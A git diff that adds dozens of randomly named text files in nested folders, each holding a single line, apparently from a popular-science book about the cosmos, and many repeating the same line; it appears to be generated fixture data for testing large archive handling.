diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vdnmywgofhdejvgrie.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vdnmywgofhdejvgrie.txt
new file mode 100644
index 0000000..2590aa4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vdnmywgofhdejvgrie.txt
@@ -0,0 +1 @@
+mistake out and replace the wrong nucleotide by the right one. These enzymes are a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vrztubxalhjirgfwuz.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vrztubxalhjirgfwuz.txt
new file mode 100644
index 0000000..8857e5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/vrztubxalhjirgfwuz.txt
@@ -0,0 +1 @@
+very large parachute, eighteen meters in diameter, was deployed to slow the spacecraft as it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/wdaczzpt.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/wdaczzpt.txt
new file mode 100644
index 0000000..df11478
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/wdaczzpt.txt
@@ -0,0 +1 @@
+first book on robots; Apollonius of Perga, the mathematician who demonstrated the forms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ytacpabjawvne.txt b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ytacpabjawvne.txt
new file mode 100644
index 0000000..c0c5be8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_uxvqunebny/folder_imekrfdgim/folder_gqspujabae/folder_xjmdzhbxfq/ytacpabjawvne.txt
@@ -0,0 +1 @@
+our understanding humbles us.* The arithmetic based on the number 5 or 10 seems so obvious that the ancient Greek equivalent of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_cpcydvxrbsbjz.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_cpcydvxrbsbjz.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_cpcydvxrbsbjz.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_cydngarsxkpvbdw.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_cydngarsxkpvbdw.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_cydngarsxkpvbdw.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_dmqtatcmgowrrvxnfuuispk.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_dmqtatcmgowrrvxnfuuispk.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_dmqtatcmgowrrvxnfuuispk.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_govpljqxswenzacxcgfi.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_govpljqxswenzacxcgfi.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_govpljqxswenzacxcgfi.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_gxnyebodjh.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_gxnyebodjh.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_gxnyebodjh.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_hfrisluujgrpjrbogfflx.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_hfrisluujgrpjrbogfflx.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_hfrisluujgrpjrbogfflx.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_javenpkqhn.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_javenpkqhn.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_javenpkqhn.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_kbqanuqldik.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_kbqanuqldik.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_kbqanuqldik.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_kxukmqmcxkhdhsffenj.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_kxukmqmcxkhdhsffenj.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_kxukmqmcxkhdhsffenj.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_ojqjjsbizllgvgm.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_ojqjjsbizllgvgm.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_ojqjjsbizllgvgm.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_qdqnxvjsossagnjmvztw.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_qdqnxvjsossagnjmvztw.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_qdqnxvjsossagnjmvztw.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_rnobxagdkadpkomybtgi.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_rnobxagdkadpkomybtgi.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_rnobxagdkadpkomybtgi.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_tebrzjpmfqryxclyr.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_tebrzjpmfqryxclyr.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_tebrzjpmfqryxclyr.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_vkasgydxhw.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_vkasgydxhw.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_vkasgydxhw.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_wpymgxdpywvsvgmbo.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_wpymgxdpywvsvgmbo.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_wpymgxdpywvsvgmbo.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_wrexnroiqeyte.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_wrexnroiqeyte.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_wrexnroiqeyte.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_wvfvdnnxedilbwz.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_wvfvdnnxedilbwz.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_wvfvdnnxedilbwz.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_xxaikhtfvkbsflgkyet.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_xxaikhtfvkbsflgkyet.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_xxaikhtfvkbsflgkyet.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/file_zlfnodpkpep.txt b/big_zip/big-zip-files/folder_vikrydtvwa/file_zlfnodpkpep.txt
new file mode 100644
index 0000000..b603748
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/file_zlfnodpkpep.txt
@@ -0,0 +1 @@
+first time individual organisms - whales, cows, flamingos, people.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/aygmacbzhh.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/aygmacbzhh.txt
new file mode 100644
index 0000000..e949b81
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/aygmacbzhh.txt
@@ -0,0 +1 @@
+magnesium isotopes should prevail.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dmswszypimd.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dmswszypimd.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dmswszypimd.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dxlsupmbpqojijm.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dxlsupmbpqojijm.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_dxlsupmbpqojijm.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_edkaggbozjxb.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_edkaggbozjxb.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_edkaggbozjxb.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_fpqvsgnjsqtqlknbbrtjfuq.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_fpqvsgnjsqtqlknbbrtjfuq.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_fpqvsgnjsqtqlknbbrtjfuq.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gazaqqrzrsnoocusmrqznjjf.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gazaqqrzrsnoocusmrqznjjf.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gazaqqrzrsnoocusmrqznjjf.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gqxfctuqsgxdzrddqznenq.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gqxfctuqsgxdzrddqznenq.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gqxfctuqsgxdzrddqznenq.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gvjtorkdzp.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gvjtorkdzp.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_gvjtorkdzp.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_igncxykdf.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_igncxykdf.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_igncxykdf.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_kxsdnjgbvmettgl.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_kxsdnjgbvmettgl.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_kxsdnjgbvmettgl.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_llewmfibqqyimi.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_llewmfibqqyimi.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_llewmfibqqyimi.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_mxlvoezayymelteqaeqozxox.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_mxlvoezayymelteqaeqozxox.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_mxlvoezayymelteqaeqozxox.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_rkngidxctblqfchcemzqdkxp.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_rkngidxctblqfchcemzqdkxp.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_rkngidxctblqfchcemzqdkxp.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_sxivbgqplslwf.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_sxivbgqplslwf.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_sxivbgqplslwf.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_syskwslfxmhsjeybq.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_syskwslfxmhsjeybq.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_syskwslfxmhsjeybq.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_tadkddhz.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_tadkddhz.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_tadkddhz.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_vapbwnnfu.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_vapbwnnfu.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_vapbwnnfu.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_wmblkqjjjedrzgoclhrb.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_wmblkqjjjedrzgoclhrb.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_wmblkqjjjedrzgoclhrb.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_xlqgksfpcgmkatwjdultvjps.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_xlqgksfpcgmkatwjdultvjps.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_xlqgksfpcgmkatwjdultvjps.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_zbmhhhgboebtmqrsmblvyord.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_zbmhhhgboebtmqrsmblvyord.txt
new file mode 100644
index 0000000..76159cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/file_zbmhhhgboebtmqrsmblvyord.txt
@@ -0,0 +1 @@
+world, lost in a cosmic ocean vast beyond our most courageous imaginings. It is a world
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/grbqwtmcotgcfem.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/grbqwtmcotgcfem.txt
new file mode 100644
index 0000000..31afec4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/grbqwtmcotgcfem.txt
@@ -0,0 +1 @@
+Persia, India, Israel and other parts of the world. Ptolemy III Euergetes wished to borrow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/hlmwwdeizw.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/hlmwwdeizw.txt
new file mode 100644
index 0000000..9b03fc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/hlmwwdeizw.txt
@@ -0,0 +1 @@
+This revolution made Cosmos and Chaos. The early Greeks had believed that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/ijntsskrricrtnlyp.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/ijntsskrricrtnlyp.txt
new file mode 100644
index 0000000..9070a3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/ijntsskrricrtnlyp.txt
@@ -0,0 +1 @@
+planet. Should we not then be willing to explore vigorously, in every nation, major changes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/liubbile.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/liubbile.txt
new file mode 100644
index 0000000..28d06cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/liubbile.txt
@@ -0,0 +1 @@
+f p, the fraction of stars that have planetary systems;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/oalwxbbndvhisx.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/oalwxbbndvhisx.txt
new file mode 100644
index 0000000..865ebc8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/oalwxbbndvhisx.txt
@@ -0,0 +1 @@
+potential of machines to free people.* The great intellectual achievements of antiquity had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qixzsnowfrsurat.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qixzsnowfrsurat.txt
new file mode 100644
index 0000000..41697fb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qixzsnowfrsurat.txt
@@ -0,0 +1 @@
+radiation is, to first approximation, just as intense in all directions - as if the fireball of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qxfdzcjycynhzig.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qxfdzcjycynhzig.txt
new file mode 100644
index 0000000..7098994
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/qxfdzcjycynhzig.txt
@@ -0,0 +1 @@
+I long for a telescope, to anticipate you, if possible, in discovering two around Mars, as the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/tgytzjrqrhaacy.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/tgytzjrqrhaacy.txt
new file mode 100644
index 0000000..fde4e32
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/tgytzjrqrhaacy.txt
@@ -0,0 +1 @@
+kind of beast eventually to contain a hundred billion shining points. The largest
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/wrbysokjafqy.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/wrbysokjafqy.txt
new file mode 100644
index 0000000..e2c4aaf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/wrbysokjafqy.txt
@@ -0,0 +1 @@
+recall some of the mental habits of those departed days. At most, terrestrial men
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/xnweneqrvcpj.txt b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/xnweneqrvcpj.txt
new file mode 100644
index 0000000..1105e15
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vikrydtvwa/folder_bxgxqvafae/xnweneqrvcpj.txt
@@ -0,0 +1 @@
+The Persistence of Memory
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_ijekftysddfhwdxt.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_ijekftysddfhwdxt.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_ijekftysddfhwdxt.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_ivhxwjinqscjdfa.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_ivhxwjinqscjdfa.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_ivhxwjinqscjdfa.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_ivnqpqnosuequohj.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_ivnqpqnosuequohj.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_ivnqpqnosuequohj.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_kekdsfaokikgx.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_kekdsfaokikgx.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_kekdsfaokikgx.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_mphvrplpeffnamwczxjxsh.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_mphvrplpeffnamwczxjxsh.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_mphvrplpeffnamwczxjxsh.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_olgkzaiskdioqvhlfzn.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_olgkzaiskdioqvhlfzn.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_olgkzaiskdioqvhlfzn.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_oyxvjlgaqtgvgikuy.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_oyxvjlgaqtgvgikuy.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_oyxvjlgaqtgvgikuy.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_pjgjnieyoptxvgilbtsij.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_pjgjnieyoptxvgilbtsij.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_pjgjnieyoptxvgilbtsij.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vkbphysfda/file_qyckbdvzryllvjxinhtfcw.txt b/big_zip/big-zip-files/folder_vkbphysfda/file_qyckbdvzryllvjxinhtfcw.txt
new file mode 100644
index 0000000..48092be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vkbphysfda/file_qyckbdvzryllvjxinhtfcw.txt
@@ -0,0 +1 @@
+share the same goals when the context is large enough. And the study of the Cosmos
\ No newline at end of file
